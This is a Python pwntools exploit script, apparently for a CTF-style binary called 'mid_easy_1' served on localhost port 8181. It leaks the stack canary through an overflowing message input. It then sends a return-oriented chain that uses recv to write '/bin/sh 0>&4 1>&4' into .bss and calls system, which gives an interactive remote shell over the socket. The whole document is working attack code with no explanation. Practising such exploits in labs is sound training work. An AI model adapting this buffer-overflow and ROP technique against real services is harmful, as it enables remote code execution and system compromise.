from pwn import *

#context.log_level="debug"

r = remote("127.0.0.1", 8181)
e = ELF('./mid_easy_1')
print e

print "[*] mid_easy_1 Exploit by 34t3rNULL"

print "[*] Canary Leak"
r.recvuntil("Select menu >")
r.sendline("1")
r.recvuntil("Input Your Message : ")
r.send("A"*41) # 40 bytes are not much as showing the canary & maybe last 1 byte is NULL byte
r.recv(41)

canary = u32("\x00" + r.recv(3))
print "[*] Canary Value : " + hex(canary)

#recv_plt = 0x80486e0
#recv_got = 0x804b05c
#send_plt = 0x8048700
#send_got = 0x804b064

r.close()

r = remote("127.0.0.1", 8181)

print "[*] Exploit"
#libc_name = libc-2.23.so
recv_plt = e.plt['recv']
recv_got = e.got['recv']
send_plt = e.plt['send']
send_got = e.got['send']
system_plt = e.plt['system']
bss = e.bss()
ppppr = 0x8048eec

print "[*] recv addr : " + hex(recv_plt)
print "[*] send addr : " + hex(send_plt)
print "[*] system addr : " + hex(system_plt)

payload = "A" * 40
payload += p32(canary)
payload += "A" * 12

payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len("/bin/sh 0>&4 1>&4") + 1)
payload += p32(0)

payload += p32(system_plt)
payload += "ABCD"
payload += p32(bss)

r.recvuntil("Select menu >")
r.sendline("1")
r.recvuntil("Input Your Message : ")
r.sendline(payload)

r.recvuntil("Select menu >")
r.sendline("3")
r.recv(1024)
sleep(0.1)
r.sendline("/bin/sh 0>&4 1>&4")

r.interactive()